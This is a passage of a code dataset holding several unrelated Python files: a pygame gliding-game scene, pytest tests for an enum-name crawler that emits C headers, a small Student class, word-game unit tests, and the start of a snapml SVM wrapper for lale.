main()","sub_path":"params_to_script.py","file_name":"params_to_script.py","file_ext":"py","file_size_in_byte":3992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"571102234","text":"import math\n\nimport pygame\nfrom pygame.sprite import Sprite\n\nfrom ecs import Component, System\nfrom scene import Scene, SceneManager\nfrom scenes.crash_results import CrashResultsScene\nfrom scenes.pause import PauseScene\nfrom utils import find_data_file\n\n\nclass GraphicComponent(Component):\n \"\"\"\n For visible entities that have a sprite.\n \"\"\"\n\n def __init__(self, sprite):\n metadata = {\"sprite\": sprite}\n Component.__init__(self, \"graphic\", metadata)\n\n\nclass PositionComponent(Component):\n \"\"\"\n For entities that exist somewhere on the coordinate grid\n (i.e., anything physically in the game world).\n \"\"\"\n\n def __init__(self, x, y):\n metadata = {\"x\": x, \"y\": y}\n Component.__init__(self, \"position\", metadata)\n\n\nclass PhysicsComponent(Component):\n \"\"\"\n For entities with some kind of physics-based movement.\n \"\"\"\n\n def __init__(self):\n metadata = {\"velocity\": 0, \"angle\": 0, \"acceleration\": 0}\n Component.__init__(self, \"physics\", metadata)\n\n\nclass RotationComponent(Component):\n \"\"\"\n For entities that rotate. Affects both graphics and physics.\n Maybe makes more sense as a RotationalVelocityComponent or something, that adds its speed to VelocityComponent's angle?\n \"\"\"\n\n def __init__(self, angle):\n metadata = {\"angle\": angle}\n Component.__init__(self, \"rotation\", metadata)\n\n\nclass GlidingComponent(Component):\n \"\"\"\n For any entity that requires gliding physics. Allows the GlidingSystem to find it.\n \"\"\"\n\n def __init__(self):\n Component.__init__(self, \"gliding\", {})\n\n\nclass GravityComponent(Component):\n \"\"\"\n For entities that should be affected by gravity.\n \"\"\"\n\n def __init__(self):\n Component.__init__(self, \"gravity\", {})\n\n\nclass PhysicsFrameResetSystem(System):\n def __init__(self):\n super().__init__()\n self.subscribe(\"physics_frame_reset\")\n\n def process(self, events, world):\n if world.find_component(\"context\")[\"paused\"]:\n return\n\n # If we haven't been asked to reset, don't reset\n events = self.pending()\n if not events:\n return\n\n # get entities that need reset\n physics_entities = set(world.filter(\"physics\"))\n\n for entity in physics_entities:\n\n # For now, this is the only thing that needs reset.\n # In in the future, we might also reset forces acting on the entity.\n entity.physics.acceleration = 0\n\n\nclass ForceSystem(System):\n def __init__(self):\n super().__init__()\n self.subscribe(\"physics_force\")\n\n def process(self, events, world):\n if world.find_component(\"context\")[\"paused\"]:\n return\n\n events = self.pending()\n physics_entities = set(world.filter(\"physics\"))\n\n for event in events:\n magnitude = event[\"magnitude\"]\n angle = event[\"angle\"]\n\n if magnitude == 0:\n continue\n\n for entity in physics_entities:\n if entity.physics.velocity == 0:\n entity.physics.angle = angle\n theta = math.radians(angle - entity.physics.angle)\n current_accel = entity.physics.acceleration\n\n new_accel = math.sqrt(\n pow(magnitude, 2)\n + pow(current_accel, 2)\n + 2 * magnitude * current_accel * math.cos(theta)\n ) * math.copysign(1, magnitude)\n new_angle = math.degrees(theta / 2)\n\n entity.physics.acceleration = new_accel\n entity.physics.angle += new_angle\n entity.physics.velocity += entity.physics.acceleration\n\n\nclass MovementSystem(System):\n def __init__(self):\n super().__init__()\n self.subscribe(\"move\")\n\n def process(self, events, world):\n if world.find_component(\"context\")[\"paused\"]:\n return\n\n # If we haven't been asked to move, don't move\n events = self.pending()\n if not events:\n return\n\n physics_entities = set(world.filter(\"physics\"))\n\n for entity in physics_entities:\n radians = math.radians(entity.physics.angle)\n speed = entity.physics.velocity\n\n xx = entity.position.x + math.cos(radians) * speed\n yy = entity.position.y + math.sin(radians) * speed\n\n # very simplistic gravity\n yy += 3\n\n entity.position.x = xx\n entity.position.y = yy\n\n\nclass GlidingSystem(System):\n def __init__(self):\n super().__init__()\n self.subscribe(\"glide\")\n self.angle_magnitude = 0.1\n\n def process(self, events, world):\n if world.find_component(\"context\")[\"paused\"]:\n return\n\n # If we haven't been asked to glide, don't glide\n events = self.pending()\n if not events:\n return\n\n gliders = world.filter(\"gliding\")\n\n # All gliders should have physics and rotation components\n for glider in gliders:\n\n # Trig math requires radians, so let's convert\n angle = glider.rotation.angle\n radians = math.radians(angle)\n magnitude = math.sin(radians) * self.angle_magnitude\n\n world.inject_event(\n {\"type\": \"physics_force\", \"magnitude\": magnitude, \"angle\": angle}\n )\n\n\nclass BackgroundComponent(Component):\n def __init__(self, image_path, y):\n metadata = {\n \"image\": pygame.image.load(find_data_file(image_path)),\n \"x\": 0,\n \"y\": y,\n }\n Component.__init__(self, \"background\", metadata)\n\n\nclass PlayerSprite(Sprite):\n def __init__(self, image_path):\n Sprite.__init__(self)\n\n self.image = pygame.image.load(find_data_file(image_path))\n self.rect = self.image.get_rect()\n\n\nclass CameraComponent(Component):\n def __init__(self, target_entity_id):\n metadata = {\n \"target_entity_id\": target_entity_id,\n \"x\": 0,\n \"y\": 0,\n }\n Component.__init__(self, \"camera\", metadata)\n\n\nclass CameraSystem(System):\n def __init__(self):\n super().__init__()\n\n def process(self, events, world):\n screen = world.find_component(\"context\")[\"screen\"]\n camera = world.find_component(\"camera\")\n player = world.get(camera[\"target_entity_id\"])\n\n x_max_off = screen.get_width() * 0.40\n x_min_off = screen.get_width() * 0.15\n\n y_top_off = screen.get_height() * 0.40\n y_bottom_off = screen.get_height() * 0.55\n\n # Keep the player with in the above bounds of the screen\n if camera.x <= player.position.x - x_max_off:\n camera.x = player.position.x - x_max_off\n if camera.x >= player.position.x - x_min_off:\n camera.x = player.position.x - x_min_off\n\n if camera.y >= player.position.y - y_top_off:\n camera.y = player.position.y - y_top_off\n if camera.y <= player.position.y - y_bottom_off:\n camera.y = player.position.y - y_bottom_off\n\n if camera.x < 0:\n camera.x = 0\n if camera.y > 0:\n camera.y = 0\n if camera.y < -2540:\n camera.y = -2540\n\n\ndef calculate_altitude(player, screen):\n sprite_height = player.graphic.sprite.image.get_height()\n return player.position.y - screen.get_height() + sprite_height\n\n\nclass GameScene(Scene):\n def __init__(self):\n self.font = pygame.font.Font(\n find_data_file(\"resources/dpcomic-font/DpcomicRegular-p3jD.ttf\"), 36\n )\n\n def setup(self, world):\n context = world.find_component(\"context\")\n screen = context[\"screen\"]\n\n # Create a sprite for the title\n self.help_message = pygame.sprite.Sprite()\n self.help_message.image = self.font.render(\n \"Press space to start flying\", 1, (240, 240, 240)\n )\n self.help_message.rect = self.help_message.image.get_rect(\n centerx=screen.get_width() // 2, centery=screen.get_height() // 2\n )\n\n # Player entity setup\n # player_entity = world.gen_entity()\n player_entity = world.find_entity(\"player\")\n player_entity.attach(\n GraphicComponent(PlayerSprite(\"resources/icarus_body.png\"))\n )\n player_entity.attach(PositionComponent(100, 0))\n player_entity.attach(PhysicsComponent())\n player_entity.attach(RotationComponent(0))\n # player_entity.attach(PlayerComponent())\n player_entity.attach(GlidingComponent())\n player_entity.attach(GravityComponent())\n\n # Scrolling background - layers defined by the y coord\n world.gen_entity().attach(BackgroundComponent(\"resources/bg_space.png\", -2540))\n world.gen_entity().attach(BackgroundComponent(\"resources/bg_space.png\", -2040))\n world.gen_entity().attach(\n BackgroundComponent(\"resources/bg_sky-space.png\", -1540)\n )\n world.gen_entity().attach(BackgroundComponent(\"resources/bg_sky.png\", -1040))\n world.gen_entity().attach(BackgroundComponent(\"resources/bg_sky.png\", -540))\n world.gen_entity().attach(BackgroundComponent(\"resources/bg_sky.png\", -40))\n world.gen_entity().attach(\n BackgroundComponent(\"resources/bg_cityscape.png\", 460)\n )\n\n # Create the camera\n camera_entity = world.gen_entity()\n camera_entity.attach(CameraComponent(player_entity.id))\n\n # System registration\n self.systems = [\n PhysicsFrameResetSystem(),\n ForceSystem(),\n MovementSystem(),\n GlidingSystem(),\n CameraSystem(),\n ]\n for sys in self.systems:\n world.register_system(sys)\n\n def update(self, events, world):\n context = world.find_component(\"context\")\n screen = context[\"screen\"]\n\n # There will only ever be one player entity, unless scope drastically changes\n player_entity = world.filter(\"player\")[0]\n\n # No physics until the player has jumped\n if player_entity.player.has_jumped:\n\n # First, clear out per-frame physics values\n world.inject_event({\"type\": \"physics_frame_reset\"})\n\n # TODO: Simulate gravity as a force, instead of just doing it in the movement system\n # world.inject_event({\"type\": \"physics_force\", \"magnitude\": 0, \"angle\": 90})\n\n # Then gliding, which translates rotation into acceleration\n world.inject_event({\"type\": \"glide\"})\n\n # Finally, we add movement after any events that could affect acceleration\n world.inject_event({\"type\": \"move\"})\n\n if calculate_altitude(player_entity, screen) > 0:\n for sys in self.systems:\n world.unregister_system(sys)\n return SceneManager.push(CrashResultsScene())\n\n world.process_all_systems(events)\n\n keys = pygame.key.get_pressed()\n\n # Before doing anything else, the player must jump off the cliff\n if not player_entity.player.has_jumped:\n\n if keys[pygame.K_SPACE]:\n\n # Tell everyone we've jumped\n player_entity.player.has_jumped = True\n\n # The jump itself\n world.inject_event(\n {\"type\": \"physics_force\", \"magnitude\": 5, \"angle\": -20}\n )\n\n # Start background music\n world.inject_event(\n {\n \"type\": \"sound\",\n \"action\": \"start\",\n \"sound\": \"background_music\",\n }\n )\n\n # We don't want to rotate before jumping.\n # TODO: or do we?\n else:\n\n # The player only has direct control over their angle from the ground.\n # Our rudimentary physics takes care of the rest.\n # Also, clamp the angle from straight up to straight down.\n if keys[pygame.K_RIGHT]:\n angle = player_entity.rotation.angle + 1\n player_entity.rotation.angle = min(angle, 90)\n if keys[pygame.K_LEFT]:\n angle = player_entity.rotation.angle - 1\n player_entity.rotation.angle = max(angle, -90)\n\n for event in events:\n # Use keyup here as a simple way to only trigger once and not repeatedly\n if event.type == pygame.KEYUP and event.key == pygame.K_ESCAPE:\n return SceneManager.push(PauseScene())\n\n def render(self, world):\n context = world.find_component(\"context\")\n screen = context[\"screen\"]\n background = context[\"background\"]\n\n graphical_entities = world.filter(\"graphic\")\n player_entity = world.find_entity(\"player\")\n camera = world.find_component(\"camera\")\n\n # City background\n backgrounds = world.filter(\"background\")\n for background in backgrounds:\n background = background.background\n x = background.x - camera.x\n if x < -500:\n # TODO: does an offset help?\n background.x = camera.x # - (x + 500)\n if x > 0:\n # TODO: does an offset help?\n background.x = camera.x - 500 # + x\n y = background.y - camera.y\n screen.blit(background.image, (x, y))\n\n for entity in graphical_entities:\n # We're assuming all graphical entities also have a position and rotation.\n # TODO: Is there a better way to do this? Will there ever be a graphical entity WITHOUT a position/rotation?\n image = entity.graphic.sprite.image\n rotated_image = pygame.transform.rotate(image, entity.rotation.angle * -1)\n adjusted_x = entity.position.x - camera.x\n adjusted_y = entity.position.y - camera.y\n screen.blit(rotated_image, (adjusted_x, adjusted_y))\n\n # # text\n # text = self.font.render(\n # f\"image angle: {player_entity.rotation.angle}\", True, (10, 10, 10)\n # )\n # screen.blit(text, (10, 300))\n\n # text = self.font.render(\n # f\"vel angle: {player_entity.physics.angle}\", True, (10, 10, 10)\n # )\n # screen.blit(text, (10, 325))\n\n # text = self.font.render(\n # f\"vel magnitude: {player_entity.physics.velocity}\", True, (10, 10, 10)\n # )\n # screen.blit(text, (10, 350))\n\n # text = self.font.render(\n # f\"acc: {player_entity.physics.acceleration}\", True, (10, 10, 10)\n # )\n # screen.blit(text, (10, 375))\n\n # altitude = calculate_altitude(player_entity, screen)\n # text = self.font.render(f\"altitude: {altitude}\", True, (10, 10, 10))\n # screen.blit(text, (10, 450))\n\n text = self.font.render(\n f\"${player_entity.player.currency}\", True, (245, 245, 245)\n )\n screen.blit(text, (50, 50))\n\n if not player_entity.player.has_jumped:\n screen.blit(self.help_message.image, self.help_message.rect)\n\n def render_previous(self):\n return False\n\n def teardown(self, world):\n player = world.find_entity(\"player\")\n camera = world.find_entity(\"camera\")\n\n if player is not None:\n world.remove_entities([player, camera])\n else:\n world.remove_entities([camera])\n\n for sys in self.systems:\n world.unregister_system(sys)\n","sub_path":"scenes/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":15523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"480524671","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport pytest\n\nfrom enumnamecrawler.types import EnumElement, CrawlerCallbacks\nfrom enumnamecrawler.crawler import CrawlInstance\nfrom enumnamecrawler.valueassigner.increment import Incrementer\nfrom enumnamecrawler.lang.c import C_OutputCodeConfig, C_CodeCallbacks\n\n_EXPECT_DISCOVERED_MAIC_C = [\n\t\tEnumElement(\"TESTINPUT_DIVIDEND_NEGATIVE\", \"main.c\", 7),\n\t\tEnumElement(\"TESTINPUT_DIVISOR_NEGATIVE\", \"main.c\", 10),\n\t\tEnumElement(\"TESTINPUT_DIVIDE_BY_ZERO\", \"main.c\", 13),\n]\n\n_EXPECT_DISCOVERED_ERRORCODE_H = [\n\t\tEnumElement(\"TESTINPUT_DIVIDEND_NEGATIVE\", \"errorcode.h\", 4, -1),\n\t\tEnumElement(\"TESTINPUT_DIVISOR_NEGATIVE\", \"errorcode.h\", 5, -2),\n\t\tEnumElement(\"TESTINPUT_DIVIDE_BY_ZERO\", \"errorcode.h\", 6, -3),\n]\n\n_EXPECT_HEADER = [\n\t\t\"#ifndef _ERRORCODE_H_\",\n\t\t\"#define _ERRORCODE_H_ 1\",\n\t\t\"#ifdef __cplusplus\",\n\t\t\"extern \\\"C\\\" {\",\n\t\t\"#endif\",\n\t\t\"#define TESTINPUT_DIVIDE_BY_ZERO -1\",\n\t\t\"#define TESTINPUT_DIVIDEND_NEGATIVE -2\",\n\t\t\"#define TESTINPUT_DIVISOR_NEGATIVE -3\",\n\t\t\"char * errorcode_string(int c);\",\n\t\t\"#ifdef __cplusplus\",\n\t\t\"}\",\n\t\t\"#endif\",\n\t\t\"#endif\\t/* _ERRORCODE_H_ */\",\n]\n\n_EXPECT_STRINGER = [\n\t\t\"#include \\\"errorcode.h\\\"\",\n\t\t\"char * errorcode_string(int c) {\",\n\t\t\"switch(c) {\",\n\t\t\"case TESTINPUT_DIVIDE_BY_ZERO:\",\n\t\t\"return \\\"TESTINPUT_DIVIDE_BY_ZERO\\\";\",\n\t\t\"case TESTINPUT_DIVIDEND_NEGATIVE:\",\n\t\t\"return \\\"TESTINPUT_DIVIDEND_NEGATIVE\\\";\",\n\t\t\"case TESTINPUT_DIVISOR_NEGATIVE:\",\n\t\t\"return \\\"TESTINPUT_DIVISOR_NEGATIVE\\\";\",\n\t\t\"}\",\n\t\t\"return \\\"?\\\";\",\n\t\t\"}\",\n]\n\n_EXPECT_UNITTEST = [\n\t\t\"#include \",\n\t\t\"#include \\\"errorcode.h\\\"\",\n\t\t\"namespace {\",\n\t\t\"TEST(ErrorcodeTest, ToString) {\",\n\t\t\"EXPECT_STREQ(\\\"TESTINPUT_DIVIDE_BY_ZERO\\\", errorcode_string(TESTINPUT_DIVIDE_BY_ZERO));\",\n\t\t\"EXPECT_STREQ(\\\"TESTINPUT_DIVIDEND_NEGATIVE\\\", errorcode_string(TESTINPUT_DIVIDEND_NEGATIVE));\",\n\t\t\"EXPECT_STREQ(\\\"TESTINPUT_DIVISOR_NEGATIVE\\\", errorcode_string(TESTINPUT_DIVISOR_NEGATIVE));\",\n\t\t\"}\",\n\t\t\"}\",\n]\n\n\n@pytest.fixture\ndef bogus_callbacks_with_unittest():\n\toutput_config = C_OutputCodeConfig(\"/dev/proj/header.h\", \"/dev/proj/stringer.c\", \"/dev/proj/unittest.c\")\n\treturn C_CodeCallbacks(\"TESTINPUT\", output_config)\n\n\n@pytest.fixture\ndef bogus_output_config_without_unittest():\n\treturn C_OutputCodeConfig(\"/dev/proj/header.h\", \"/dev/proj/stringer.c\")\n\n\n@pytest.fixture\ndef bogus_callbacks_without_unittest(bogus_output_config_without_unittest):\n\toutput_config = bogus_output_config_without_unittest\n\treturn C_CodeCallbacks(\"TESTINPUT\", output_config)\n\n\ndef get_testoutput_paths():\n\tbasefolder = os.path.abspath(os.path.join(os.path.dirname(__file__), \"testinput\"))\n\theader_path = os.path.join(basefolder, \"errorcode.h\")\n\tstringer_path = os.path.join(basefolder, \"errorcode.c\")\n\tunittest_path = os.path.join(basefolder, \"errorcode_test.cc\")\n\treturn (header_path, stringer_path, unittest_path)\n\n\n@pytest.fixture\ndef callbacks_with_unittest():\n\theader_path, stringer_path, unittest_path = get_testoutput_paths()\n\toutput_config = C_OutputCodeConfig(header_path, stringer_path, unittest_path)\n\treturn C_CodeCallbacks(\"TESTINPUT\", output_config)\n\n\n@pytest.fixture\ndef callbacks_with_unittest_ignore_gen():\n\theader_path, stringer_path, unittest_path = get_testoutput_paths()\n\toutput_config = C_OutputCodeConfig(header_path, stringer_path, unittest_path)\n\treturn C_CodeCallbacks(\"TESTINPUT\", output_config, codefile_ignore_patterns=(\"gen\", ))\n\n\n@pytest.fixture\ndef callbacks_without_unittest_ignore_gen():\n\theader_path, stringer_path, _unittest_path = get_testoutput_paths()\n\toutput_config = C_OutputCodeConfig(header_path, stringer_path)\n\treturn C_CodeCallbacks(\"TESTINPUT\", output_config, codefile_ignore_patterns=(\"gen\", ))\n\n\ndef test_C_OutputCodeConfig_include_path_1():\n\toutput_config = C_OutputCodeConfig(\"/home/d/project/include/proj/header.h\", \"/home/d/project/src/stringer.c\")\n\tassert output_config.include_path == \"proj/header.h\"\n\toutput_config.include_path = \"abc.h\"\n\tassert output_config.include_path == \"abc.h\"\n\n\ndef test_C_OutputCodeConfig_include_path_2():\n\toutput_config = C_OutputCodeConfig(\"/home/d/project/errcode.h\", \"/home/d/project/errcode.c\")\n\tassert output_config.include_path == \"errcode.h\"\n\n\ndef test_C_OutputCodeConfig_include_guard_symbol(bogus_output_config_without_unittest):\n\toutput_config = bogus_output_config_without_unittest\n\tassert output_config.include_guard_symbol == \"_HEADER_H_\"\n\toutput_config.include_guard_symbol = \"MY_HEADER_H\"\n\tassert output_config.include_guard_symbol == \"MY_HEADER_H\"\n\n\ndef test_C_OutputCodeConfig_stringer_func_name(bogus_output_config_without_unittest):\n\toutput_config = bogus_output_config_without_unittest\n\tassert output_config.stringer_func_name == \"header_string\"\n\toutput_config.stringer_func_name = \"enum_to_string\"\n\tassert output_config.stringer_func_name == \"enum_to_string\"\n\n\ndef test_C_OutputCodeConfig_testcase_name():\n\toutput_config = C_OutputCodeConfig(\"/dev/proj/enum_def.h\", \"/dev/proj/enum_stringer.c\")\n\tassert output_config.testcase_name == \"EnumDefTest\"\n\toutput_config.testcase_name = \"MyEnumTest\"\n\tassert output_config.testcase_name == \"MyEnumTest\"\n\n\ndef test_C_CodeCallbacks_outputpath_check_1(bogus_callbacks_without_unittest):\n\tcallbacks = bogus_callbacks_without_unittest\n\tassert callbacks.outputpath_check(\"/dev/proj/header.h\")\n\tassert callbacks.outputpath_check(\"/dev/proj/stringer.c\")\n\tassert not callbacks.outputpath_check(\"/dev/proj/unittest.c\")\n\tassert not callbacks.outputpath_check(\"/dev/proj/main.c\")\n\n\ndef test_C_CodeCallbacks_outputpath_check_2(bogus_callbacks_with_unittest):\n\tcallbacks = bogus_callbacks_with_unittest\n\tassert callbacks.outputpath_check(\"/dev/proj/header.h\")\n\tassert callbacks.outputpath_check(\"/dev/proj/stringer.c\")\n\tassert callbacks.outputpath_check(\"/dev/proj/unittest.c\")\n\tassert not callbacks.outputpath_check(\"/dev/proj/main.c\")\n\n\ndef test_C_CodeCallbacks_codefilepath_filter_1(callbacks_without_unittest_ignore_gen):\n\tcallbacks = callbacks_without_unittest_ignore_gen\n\tassert callbacks.codefilepath_filter(\"/dev/proj/gen.c\")\n\tassert callbacks.codefilepath_filter(\"/dev/proj/gen.cc\")\n\tassert callbacks.codefilepath_filter(\"/dev/proj/function.cpp\")\n\tbasefolder = os.path.abspath(os.path.join(os.path.dirname(__file__), \"testinput\"))\n\tassert callbacks.codefilepath_filter(basefolder)\n\tassert not callbacks.codefilepath_filter(os.path.join(basefolder, \"gen\"))\n\n\ndef test_C_CodeCallbacks_codefilepath_filter_2(callbacks_with_unittest):\n\tcallbacks = callbacks_with_unittest\n\tassert callbacks.codefilepath_filter(\"/dev/proj/function.c\")\n\tassert callbacks.codefilepath_filter(\"/dev/proj/function.cc\")\n\tassert callbacks.codefilepath_filter(\"/dev/proj/function.cpp\")\n\tbasefolder = os.path.abspath(os.path.join(os.path.dirname(__file__), \"testinput\"))\n\tassert callbacks.codefilepath_filter(basefolder)\n\tassert callbacks.codefilepath_filter(os.path.join(basefolder, \"gen\"))\n\tassert not callbacks.codefilepath_filter(\"/dev/proj/function.py\")\n\tassert not callbacks.codefilepath_filter(\"/dev/proj/function.o\")\n\tassert not callbacks.codefilepath_filter(\"/dev/proj/function.so\")\n\n\ndef test_C_CodeCallbacks_enumelement_discover_1(callbacks_with_unittest):\n\tcallbacks = callbacks_with_unittest\n\tfilepath = os.path.abspath(os.path.join(os.path.dirname(__file__), \"testinput\", \"main.c\"))\n\twith open(filepath, \"r\") as fp:\n\t\tdiscovered = list(callbacks.enumelement_discover(fp, \"main.c\"))\n\tassert _EXPECT_DISCOVERED_MAIC_C == discovered\n\n\ndef test_C_CodeCallbacks_enumelement_discover_2(callbacks_with_unittest):\n\tcallbacks = callbacks_with_unittest\n\tfilepath = os.path.abspath(os.path.join(os.path.dirname(__file__), \"testinput\", \"gen\", \"errorcode.h\"))\n\twith open(filepath, \"r\") as fp:\n\t\tdiscovered = list(callbacks.enumelement_discover(fp, \"errorcode.h\"))\n\tassert _EXPECT_DISCOVERED_ERRORCODE_H == discovered\n\n\ndef load_generated_file(n):\n\tp = os.path.abspath(os.path.join(os.path.dirname(__file__), \"testinput\", n))\n\twith open(p, \"r\") as fp:\n\t\tfor l in fp:\n\t\t\tl = l.strip()\n\t\t\tif l:\n\t\t\t\tyield l\n\n\ndef test_C_CodeCallbacks_run_1(callbacks_without_unittest_ignore_gen):\n\tcodecallbacks = callbacks_without_unittest_ignore_gen\n\tassigner = Incrementer(-1, -1)\n\tcallbacks = CrawlerCallbacks(\n\t\t\tcodecallbacks.outputpath_check,\n\t\t\tcodecallbacks.codefilepath_filter,\n\t\t\tcodecallbacks.enumelement_discover,\n\t\t\tassigner,\n\t\t\tcodecallbacks.codemap_write,\n\t)\n\tbasefolder = os.path.abspath(os.path.join(os.path.dirname(__file__), \"testinput\"))\n\ttry:\n\t\tos.unlink(os.path.join(basefolder, \"errorcode.h\"))\n\texcept Exception:\n\t\tpass\n\tcrawler = CrawlInstance(basefolder, callbacks)\n\tcrawler.run()\n\tassert _EXPECT_HEADER == list(load_generated_file(\"errorcode.h\"))\n\tassert _EXPECT_STRINGER == list(load_generated_file(\"errorcode.c\"))\n\n\ndef test_C_CodeCallbacks_run_2(callbacks_with_unittest_ignore_gen):\n\tcodecallbacks = callbacks_with_unittest_ignore_gen\n\tassigner = Incrementer(-1, -1)\n\tcallbacks = CrawlerCallbacks(\n\t\t\tcodecallbacks.outputpath_check,\n\t\t\tcodecallbacks.codefilepath_filter,\n\t\t\tcodecallbacks.enumelement_discover,\n\t\t\tassigner,\n\t\t\tcodecallbacks.codemap_write,\n\t)\n\tbasefolder = os.path.abspath(os.path.join(os.path.dirname(__file__), \"testinput\"))\n\ttry:\n\t\tos.unlink(os.path.join(basefolder, \"errorcode.h\"))\n\texcept Exception:\n\t\tpass\n\tcrawler = CrawlInstance(basefolder, callbacks)\n\tcrawler.run()\n\tassert _EXPECT_HEADER == list(load_generated_file(\"errorcode.h\"))\n\tassert _EXPECT_STRINGER == list(load_generated_file(\"errorcode.c\"))\n\tassert _EXPECT_UNITTEST == list(load_generated_file(\"errorcode_test.cc\"))\n","sub_path":"enumnamecrawlertests/lang/c/c_test.py","file_name":"c_test.py","file_ext":"py","file_size_in_byte":9442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"221813424","text":"import sys\n\n\nclass Student:\n\toperate_list = ['get_name', 'get_age']\n\tCLASS = '六班'\n\t\n\tdef __init__(self, name, age, gender, ident):\n\t\tself.name = name\n\t\tself.age = age\n\t\tself.gender = gender\n\t\tself.ident = ident\n\t\t\n\tdef get_name(self):\n\t\t# return '学生:%s' % self.name\n\t\tprint(\"这是一名学生\")\n\t\t\n\tdef get_age(self):\n\t\treturn '年龄:%s' % self.age\n\t\t# print(\"学生年龄为20岁\")\n\t\n\t# def modify_age(self, age):\n\t# \tself.age = age\n\t#\n\t# @staticmethod\n\t# def file():\n\t# \treturn sys.modules[__name__]\n\n\nif __name__ == \"__main__\":\n\ts1 = Student('李志', 20, '男', 'Student')\n\tprint(s1)\n\tprint(s1.get_age())\n\t\n\n\n\n\n\t","sub_path":"re_st/student_project/core/student.py","file_name":"student.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"134989453","text":"# tests/test_game.py\nimport unittest\nimport string\nfrom game import Game\n\nclass TestGame(unittest.TestCase):\n def test_game_initialization(self):\n new_game = Game()\n grid = new_game.grid\n self.assertIsInstance(grid, list)\n self.assertEqual(len(grid), 9)\n for letter in grid:\n self.assertIn(letter, string.ascii_uppercase)\n\n def test_empty_word_is_invalid(self):\n new_game = Game()\n self.assertIs(new_game.is_valid(''), False)\n\n def test_is_valid(self):\n new_game = Game()\n new_game.grid = list('KWEUEAKRZ') # Force the grid to a test case:\n self.assertIs(new_game.is_valid('EUREKA'), True)\n self.assertEqual(new_game.grid, list('KWEUEAKRZ')) # Make sure the grid remained untouched\n\n def test_is_invalid(self):\n new_game = Game()\n new_game.grid = list('KWEUEAKRZ') # Force the grid to a test case:\n self.assertIs(new_game.is_valid('SANDWICH'), False)\n self.assertEqual(new_game.grid, list('KWEUEAKRZ')) # Make sure the grid remained untouched\n\n def test_unknown_word_is_invalid(self):\n new_game = Game()\n new_game.grid = list('KWIENFUQW') # Force the grid to a test case:\n self.assertIs(new_game.is_valid('FEUN'), False)\n self.assertEqual(new_game.grid, list('KWIENFUQW')) # Make sure the grid remained untouched\n","sub_path":"tests/test_game.py","file_name":"test_game.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"400452521","text":"# Copyright 2019,2021 IBM Corporation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nfrom packaging import version\n\ntry:\n import snapml # type: ignore\n\n snapml_version = version.parse(getattr(snapml, \"__version__\"))\n\nexcept ImportError:\n snapml_version = None\n\nimport lale.datasets.data_schemas\nimport lale.docstrings\nimport lale.operators\n\n\nclass _SnapSVMClassifierImpl:\n def __init__(self, **hyperparams):\n assert (\n snapml_version is not None\n ), \"\"\"Your Python environment does not have snapml installed. Install using: pip install snapml\"\"\"\n\n if snapml_version <= version.Version(\"1.8.0\") and \"loss\" in hyperparams:\n del hyperparams[\"loss\"]\n\n if hyperparams.get(\"device_ids\", None) is None:\n hyperparams[\"device_ids\"] = [0]\n\n self._wrapped_model = snapml.SnapSVMClassifier(**hyperparams)\n\n def fit(self, X, y, **fit_params):\n X = lale.datasets.data_schemas.strip_schema(X)\n y = lale.datasets.data_schemas.strip_schema(y)\n self._wrapped_model.fit(X, y, **fit_params)\n return self\n\n def predict(self, X, **predict_params):\n X = lale.datasets.data_schemas.strip_schema(X)\n return self._wrapped_model.predict(X, **predict_params)\n\n def decision_function(self, X, **decision_function_params):\n X = lale.datasets.data_schemas.strip_schema(X)\n return self._wrapped_model.decision_function(X, **decision_function_params)\n\n\n_hyperparams_schema = {\n \"description\": \"Hyperparameter schema.\",\n \"allOf\": [\n {\n \"description\": \"This first sub-object lists all constructor arguments with their types, one at a time, omitting cross-argument constraints.\",\n \"type\": \"object\",\n \"relevantToOptimizer\": [\n \"fit_intercept\",\n \"regularizer\",\n \"max_iter\",\n \"kernel\",\n \"gamma\",\n \"n_components\",\n ],\n \"additionalProperties\": False,\n \"properties\": {\n \"max_iter\": {\n \"type\": \"integer\",\n \"minimum\": 1,\n \"minimumForOptimizer\": 10,\n \"maximumForOptimizer\": 1000,\n \"default\": 100,\n \"description\": \"Maximum number of iterations used by the solver to converge.\",\n },\n \"regularizer\": {\n \"type\": \"number\",\n \"minimum\": 0.0,\n \"default\": 1.0,\n \"exclusiveMinimum\": True,\n \"minimumForOptimizer\": 1.0,\n \"maximumForOptimizer\": 100.0,\n \"distribution\": \"uniform\",\n \"description\": \"Larger regularization values imply stronger regularization.\",\n },\n \"use_gpu\": {\n \"type\": \"boolean\",\n \"default\": False,\n \"description\": \"Use GPU Acceleration.\",\n },\n \"device_ids\": {\n \"anyOf\": [\n {\"description\": \"Use [0].\", \"enum\": [None]},\n {\"type\": \"array\", \"items\": {\"type\": \"integer\"}},\n ],\n \"default\": None,\n \"description\": \"Device IDs of the GPUs which will be used when GPU acceleration is enabled.\",\n },\n \"class_weight\": {\n \"enum\": [\"balanced\", None],\n \"default\": None,\n \"description\": \"If set to 'balanced' samples weights will be applied to account for class imbalance, otherwise no sample weights will be used.\",\n },\n \"verbose\": {\n \"type\": \"boolean\",\n \"default\": False,\n \"description\": \"If True, it prints the training cost, one per iteration. Warning: this will increase the training time. For performance evaluation, use verbose=False.\",\n },\n \"n_jobs\": {\n \"type\": \"integer\",\n \"minimum\": 1,\n \"default\": 1,\n \"description\": \"The number of threads used for running the training. The value of this parameter should be a multiple of 32 if the training is performed on GPU (use_gpu=True).\",\n },\n \"tol\": {\n \"type\": \"number\",\n \"minimum\": 0.0,\n \"default\": 0.001,\n \"exclusiveMinimum\": 